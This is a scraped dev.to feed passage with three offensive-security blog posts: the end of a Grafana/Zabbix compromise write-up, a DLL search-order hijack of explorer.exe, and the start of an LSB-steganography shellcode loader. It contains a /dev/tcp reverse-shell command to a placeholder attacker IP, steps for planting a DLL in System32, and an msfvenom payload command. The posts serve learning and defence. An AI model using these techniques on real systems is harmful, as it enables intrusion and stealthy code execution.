&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2tz5e90hwjtlv0aicwt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2tz5e90hwjtlv0aicwt.png" alt="zabbix dashboard" width="800" height="614"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Scripts section is where Zabbix admins can create scripts to run on monitored systems. It's meant for automation and troubleshooting. It's also perfect for getting a reverse shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 11: Getting a Shell
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Creating a Reverse Shell Script
&lt;/h3&gt;

&lt;p&gt;Navigation: &lt;code&gt;Administration -&amp;gt; Scripts -&amp;gt; Create Script&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffyn5vyn6fji7az8biblp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffyn5vyn6fji7az8biblp.png" alt="create script" width="800" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name: system_check
Type: Script
Execute on: Zabbix server
Commands: sh -i &amp;gt;&amp;amp; /dev/tcp/[ATTACKER_IP]/4444 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Setting up the listener:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Part 12: Shell Access
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fadid32f033r8twrwyjqp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fadid32f033r8twrwyjqp.png" alt="shell as zabbix" width="642" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shell as the &lt;code&gt;zabbix&lt;/code&gt; user on the monitoring server.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remote shell: done&lt;/li&gt;
&lt;li&gt;Access to monitoring configurations: done&lt;/li&gt;
&lt;li&gt;Can see all monitored infrastructure: done&lt;/li&gt;
&lt;li&gt;Root: not yet&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Part 13: The Root Speedrun
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Password Reuse to the Rescue
&lt;/h3&gt;

&lt;p&gt;Remember all those passwords we decrypted earlier? Time to test if anyone committed the cardinal sin of password reuse.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zabbix@zabbix:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;su root
Password: &lt;span class="o"&gt;[&lt;/span&gt;REDACTED - Same password as Grafana admin]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae3sp79vop1awt5bf0vq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae3sp79vop1awt5bf0vq.png" alt="root access" width="528" height="227"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;THEY USED THE SAME PASSWORD FOR ROOT AS THEY DID FOR GRAFANA.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I literally just typed one password and became root. No privilege escalation exploit. No kernel vulnerabilities. Just good old-fashioned password reuse.&lt;/p&gt;

&lt;p&gt;The same password was used for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Grafana admin account&lt;/li&gt;
&lt;li&gt;MySQL database credentials&lt;/li&gt;
&lt;li&gt;Root system account&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flew3yd9rpiy10meqokki.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flew3yd9rpiy10meqokki.jpg" alt="expanding brain meme" width="500" height="701"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CVE-2021-43798 Path Traversal]
         |
[Read grafana.ini + grafana.db]
         |
[Extract secret key]
         |
[Decrypt all passwords]
         |
[Grafana admin access]
         |
[SQL execution]
         |
[Create backdoor in Zabbix]
         |
[Zabbix admin access]
         |
[Execute reverse shell script]
         |
[Shell as zabbix user]
         |
[Password reuse = instant root]
         |
[Complete infrastructure compromise]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Number of exploits needed:&lt;/strong&gt; Technically just one (CVE-2021-43798)&lt;br&gt;
&lt;strong&gt;Everything else:&lt;/strong&gt; Poor security practices compounding&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Worked
&lt;/h2&gt;

&lt;p&gt;This wasn't a sophisticated APT with zero-days and custom malware. This was a textbook case of multiple things going wrong at once.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure 1: Unpatched Software&lt;/strong&gt;&lt;br&gt;
CVE-2021-43798 has been known since December 2021. Patches were available. This Grafana was still vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure 2: Weak Secret Key&lt;/strong&gt;&lt;br&gt;
The secret key wasn't strong enough. Everything is encrypted with this key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure 3: Password Reuse&lt;/strong&gt;&lt;br&gt;
The same password for Grafana admin, database connections, and root account. This is the big one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure 4: Too Many Privileges&lt;/strong&gt;&lt;br&gt;
Grafana allowed arbitrary SQL execution. Zabbix allowed script execution. No restrictions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The point:&lt;/strong&gt; ANY ONE of these being fixed would have stopped or severely hampered this attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Patch your systems - known CVEs will bite you&lt;/li&gt;
&lt;li&gt;Use unique passwords - password reuse will destroy your security faster than any zero-day&lt;/li&gt;
&lt;li&gt;Monitoring systems need to be secured like production systems&lt;/li&gt;
&lt;li&gt;Your encryption is only as good as your key management&lt;/li&gt;
&lt;li&gt;Defense in depth is not optional&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Original CVE:&lt;/strong&gt; CVE-2021-43798&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploit Repo:&lt;/strong&gt; &lt;a href="https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798" rel="noopener noreferrer"&gt;github.com/pedrohavay/exploit-grafana-CVE-2021-43798&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grafana Security Advisory:&lt;/strong&gt; &lt;a href="https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/" rel="noopener noreferrer"&gt;grafana.com/blog&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>cve</category>
      <category>pentesting</category>
      <category>grafana</category>
    </item>
    <item>
      <title>From Pixels to Payload Part 2: DLL Search Order Hijacking via explorer.exe</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:25:20 +0000</pubDate>
      <link>https://dev.to/yuribe/from-pixels-to-payload-part-2-dll-search-order-hijacking-via-explorerexe-2dln</link>
      <guid>https://dev.to/yuribe/from-pixels-to-payload-part-2-dll-search-order-hijacking-via-explorerexe-2dln</guid>
      <description>&lt;p&gt;After messing around with in-memory payloads hidden in images (LSB), I wanted to try something more native - getting code to run just by dropping a DLL. So I started looking into &lt;strong&gt;DLL search order hijacking&lt;/strong&gt;, and &lt;code&gt;explorer.exe&lt;/code&gt; turned out to be a solid target.&lt;/p&gt;

&lt;h2&gt;
  
  
  Goal
&lt;/h2&gt;

&lt;p&gt;Inject a custom DLL that gets loaded by &lt;code&gt;explorer.exe&lt;/code&gt; at startup, without any UAC prompt, and without using any EXE dropper or direct process injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1: Find a Missing DLL
&lt;/h2&gt;

&lt;p&gt;Using &lt;strong&gt;Procmon&lt;/strong&gt;, I filtered for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Process Name is explorer.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Result is NAME NOT FOUND&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I was looking for DLLs that Windows tries (and fails) to load, especially from &lt;code&gt;C:\Windows\&lt;/code&gt;, &lt;code&gt;C:\Windows\System32\&lt;/code&gt;, and the working directory.&lt;/p&gt;

&lt;p&gt;This revealed several missing DLLs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fy1h5dzc47dnosov6gu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3fy1h5dzc47dnosov6gu.png" alt="procmon" width="800" height="672"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But I couldn't find a consistently missing DLL that actually worked when hijacked - most of them either existed or didn't get loaded even if I dropped a fake one.&lt;/p&gt;

&lt;p&gt;So I took a step back and did some research. That's when I came across &lt;strong&gt;&lt;code&gt;cscapi.dll&lt;/code&gt;&lt;/strong&gt; - a DLL that's often referenced in hijacking examples. It turns out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It was historically used for &lt;strong&gt;Offline Files (Client Side Caching)&lt;/strong&gt;, a feature that's either disabled or not used on most systems today.&lt;/li&gt;
&lt;li&gt;Even if it's missing, &lt;strong&gt;Windows and explorer.exe don't care&lt;/strong&gt; - they try to load it, fail silently, and move on.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So it's a perfect candidate. I didn't need to overwrite an active system file, and I knew &lt;code&gt;explorer.exe&lt;/code&gt; would try to load it automatically.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: Create the Hijack DLL
&lt;/h2&gt;

&lt;p&gt;A basic C-style DLL with &lt;code&gt;DllMain&lt;/code&gt; was enough to verify execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;WINAPI&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt; &lt;span class="n"&gt;hinstDLL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;fdwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpvReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fdwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;MessageBoxA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"DLL Loaded!"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Hijack"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MB_OK&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiled as a 64-bit DLL (since &lt;code&gt;explorer.exe&lt;/code&gt; is x64), named it &lt;code&gt;cscapi.dll&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: Drop into System32
&lt;/h2&gt;

&lt;p&gt;Because &lt;code&gt;explorer.exe&lt;/code&gt; only looks in &lt;code&gt;System32&lt;/code&gt;, I needed to place my DLL directly into &lt;code&gt;C:\Windows\System32\cscapi.dll&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To do that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Took ownership with &lt;code&gt;takeown /f&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Granted full permissions with &lt;code&gt;icacls&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Moved the old DLL or renamed it as backup&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3y4odosmln1me9ta34z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3y4odosmln1me9ta34z.png" alt="MovingDLL" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Moved our own DLL into the System32 folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm3zn15t1cbftb7dh3o9g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm3zn15t1cbftb7dh3o9g.png" alt="system32" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4: Restart explorer.exe
&lt;/h2&gt;

&lt;p&gt;With the hijack in place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;taskkill&lt;/span&gt; &lt;span class="na"&gt;/f /im &lt;/span&gt;&lt;span class="kd"&gt;explorer&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;
&lt;span class="nb"&gt;start&lt;/span&gt; &lt;span class="kd"&gt;explorer&lt;/span&gt;&lt;span class="err"&gt;.exe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The messagebox popped. The DLL was successfully hijacked and executed &lt;strong&gt;as part of a trusted Windows process&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3qnnggvuuu1s46ljcx8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd3qnnggvuuu1s46ljcx8.png" alt="proof" width="800" height="141"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Works
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;explorer.exe&lt;/code&gt; tries to load &lt;code&gt;cscapi.dll&lt;/code&gt; (missing on most systems)&lt;/li&gt;
&lt;li&gt;Windows falls back to the search order (current dir -&amp;gt; system dirs)&lt;/li&gt;
&lt;li&gt;Our malicious DLL is right where it's looking&lt;/li&gt;
&lt;li&gt;No UAC prompt, no EXE - just native DLL loading&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Coming Up in Part 3...
&lt;/h2&gt;

&lt;p&gt;So far we've done:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stealthy payload delivery via image LSBs (Part 1)&lt;/li&gt;
&lt;li&gt;Native execution via DLL hijacking (Part 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Next up:&lt;/strong&gt; What happens when we combine them?&lt;/p&gt;

&lt;p&gt;In Part 3, I'll chain the steganographic image loader from Part 1 with the DLL hijack from Part 2 - an image hides the payload, the payload gets extracted and executed, all triggered natively via &lt;code&gt;explorer.exe&lt;/code&gt; without touching EXEs or triggering UAC.&lt;/p&gt;

</description>
      <category>windows</category>
      <category>dllhijacking</category>
      <category>malware</category>
      <category>lowlevel</category>
    </item>
    <item>
      <title>From Pixels to Payload: LSB Steganography and In-Memory Execution</title>
      <dc:creator>yuribe</dc:creator>
      <pubDate>Sat, 28 Mar 2026 23:19:40 +0000</pubDate>
      <link>https://dev.to/yuribe/from-pixels-to-payload-lsb-steganography-and-in-memory-execution-52g6</link>
      <guid>https://dev.to/yuribe/from-pixels-to-payload-lsb-steganography-and-in-memory-execution-52g6</guid>
      <description>&lt;h2&gt;
  
  
  Goal
&lt;/h2&gt;

&lt;p&gt;This is a personal learning project where I set out to explore how binary payloads can be stealthily hidden inside image files and executed entirely from memory without writing anything obvious to disk or leaving behind a large forensic footprint.&lt;/p&gt;

&lt;p&gt;The main idea was to combine &lt;strong&gt;steganography&lt;/strong&gt; with &lt;strong&gt;in-memory execution&lt;/strong&gt;, eventually building a custom DLL that can act as a stealth loader using &lt;strong&gt;DLL hijacking&lt;/strong&gt;. The endgame? Code execution inside a trusted process, no UAC prompts, no file drops - or at least that's the theory.&lt;/p&gt;

&lt;p&gt;To start, I built out a Python prototype to test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LSB steganography&lt;/strong&gt; to embed payloads into PNGs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Base64&lt;/strong&gt; encoding/decoding for cleaner transport&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-memory shellcode execution&lt;/strong&gt; using &lt;code&gt;ctypes&lt;/code&gt; (just for testing)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Right now, both the embedding and extraction logic live in Python, but the plan is to eventually &lt;strong&gt;rebuild the extractor in C++&lt;/strong&gt; to integrate it with a real DLL hijack scenario.&lt;/p&gt;

&lt;p&gt;Even if some parts don't fully hit the stealth or reliability I want, that's fine - the goal is to learn by building, testing, and breaking stuff.&lt;/p&gt;




&lt;h2&gt;
  
  
  LSB Steganography: What &amp;amp; Why?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;LSB (Least Significant Bit) steganography&lt;/strong&gt; is one of the simplest ways to hide data in images.&lt;/p&gt;

&lt;p&gt;Each pixel in a standard RGB image holds 3 bytes - one for red, green, and blue. By flipping just the &lt;strong&gt;last bit&lt;/strong&gt; of one of these values, you can hide binary data without making visible changes to the image.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Original Red:   10110010 -&amp;gt; 178   Modified Red:   10110011 -&amp;gt; 179&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That's only a 1-point change in value, which the human eye won't notice - but it's enough to store a single bit. Do this across thousands of pixels and you can stash a full payload in plain sight.&lt;/p&gt;

&lt;p&gt;I stuck with the &lt;strong&gt;lowest bit in the red channel only&lt;/strong&gt; for simplicity and minimal visual noise. You can push it further (2-3 bits per channel), but I wanted to keep it subtle.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why LSB + Memory Execution?
&lt;/h2&gt;

&lt;p&gt;I wanted to test whether it's possible to &lt;strong&gt;hide a payload inside an image&lt;/strong&gt; and then execute it without ever writing anything to disk. That's where &lt;strong&gt;LSB steganography&lt;/strong&gt; and &lt;strong&gt;in-memory execution&lt;/strong&gt; come in.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LSB lets me embed data inside an image without changing how it looks.&lt;/li&gt;
&lt;li&gt;In-memory execution avoids writing an EXE or DLL to disk - the payload runs directly from memory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This combo sounded interesting, so I set out to see &lt;strong&gt;if it would actually work in practice&lt;/strong&gt;, starting with simple payloads and expanding from there.&lt;/p&gt;




&lt;h2&gt;
  
  
  Components
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;embed.py&lt;/code&gt; - Encodes a shellcode or any binary payload into the LSBs of a PNG image&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;extract.py&lt;/code&gt; - Recovers the payload, decodes it, and executes it in memory&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Technical Workflow
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Embedding Phase&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhri95vj77i3vuoiyss2t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhri95vj77i3vuoiyss2t.png" alt="Embedding Flowchart" width="721" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Extraction Phase&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flyxal6hqck58au7onvza.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flyxal6hqck58au7onvza.png" alt="Extraction Flowchart" width="601" height="281"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Tested Payloads
&lt;/h2&gt;

&lt;p&gt;I used &lt;code&gt;msfvenom&lt;/code&gt; to generate a simple 64-bit Windows MessageBox payload for testing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/messagebox &lt;span class="nv"&gt;TEXT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Hello"&lt;/span&gt; &lt;span class="nv"&gt;TITLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Stego"&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr0rpkc9xkn78ro6diu5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkr0rpkc9xkn78ro6diu5.png" alt="payload" width="743" height="636"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Output Example
&lt;/h2&gt;

&lt;p&gt;Here's what it looks like after encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Text embedded.
Encoded &lt;span class="nb"&gt;base64 &lt;/span&gt;payload: /EiB5PD////ozAAAAEFRQVBSSDHSZUiLU........
Byte length: 396
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, after extraction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] Extracted &lt;span class="o"&gt;(&lt;/span&gt;Base64&lt;span class="o"&gt;)&lt;/span&gt;: b&lt;span class="s1"&gt;'/EiB5PD////ozAAAAEFRQVBSSDHSZUiLUmBRVkiLUhhIi1IgTTHJSA.......'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Decoded Payload: b&lt;span class="s1"&gt;'\xfcH\x81\xe4\xf0\xff\xff\xff...'&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Allocated pointer: 0x21ff5500000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Executing the extractor pops our messagebox.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1uc1avrbrgl42dy82j8l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1uc1avrbrgl42dy82j8l.png" alt="messagebox" width="127" height="128"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  C++ Rebuild &amp;amp; Shellcode Execution
&lt;/h2&gt;

&lt;p&gt;While I had some basic experience with game hacking, which gave me a foundation in memory allocation and raw pointer manipulation, byte-level data, and bitwise operations in C++ was new territory for me.&lt;/p&gt;

&lt;p&gt;To deepen my understanding, I decided to rewrite my Python extractor in C++. This gave me hands-on experience with several key concepts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
